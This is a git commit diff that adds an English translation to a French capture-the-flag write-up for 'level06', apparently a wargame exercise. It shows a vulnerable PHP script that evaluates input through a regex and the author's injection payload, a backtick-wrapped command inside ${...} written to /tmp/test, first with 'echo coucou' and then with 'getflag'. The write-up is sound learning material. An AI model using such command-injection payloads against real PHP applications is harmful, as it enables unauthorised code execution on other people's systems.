docs(lvl06): adding the english readme

This commit is contained in:
Raphael 2026-01-29 12:53:30 +01:00
parent 211fb0eb88
commit 3fbe387519
No known key found for this signature in database

View file

@ -1,4 +1,4 @@
Lors de mon arriver sur le niveau 6 je remarque que j'ai 2 fichiers qui sont accessible When arriving on level06 I notice that I have 2 files that are accessible.
```bash ```bash
ls -l ls -l
@ -7,13 +7,13 @@ total 12
-rwxr-x--- 1 flag06 level06 356 Mar 5 2016 level06.php -rwxr-x--- 1 flag06 level06 356 Mar 5 2016 level06.php
``` ```
Le fichier est disponibles dans ./ressources/level06.php (sinon c'etait en oneline moins lisible) The file is available in ./ressources/level06.php (otherwise it was in one line less readable).
Une fois la lecture du script effectue nous pouvons en comprendre que ce program fait: Once the reading of the script is done we can understand that this program does:
- Lis le fichier passer en arguements - Reads the file passed as argument
- Il interprete des commandes comme des variables php - It interprets commands like php variables
Ce qui fait que c'est assez interessant pour nous: Which makes that it is quite interesting for us:
```bash ```bash
echo -e "[x \${\`echo coucou\`}]" > /tmp/test echo -e "[x \${\`echo coucou\`}]" > /tmp/test
@ -22,9 +22,9 @@ PHP Notice: Undefined variable: coucou
in /home/user/level06/level06.php(4) : regexp code on line 1 in /home/user/level06/level06.php(4) : regexp code on line 1
``` ```
Nous pouvous voir que la resultat de la commande nous est afficher en temps qu'erreur en nous disant que elle n'est pas definis We can see that the result of the command is displayed to us as an error by telling us that it is not defined.
Je peux donc je peux donc faire la meme chose mais avec getflag I can therefore I can therefore do the same thing but with getflag.
```bash ```bash
echo -e "[x \${\`getflag\`}]" > /tmp/test echo -e "[x \${\`getflag\`}]" > /tmp/test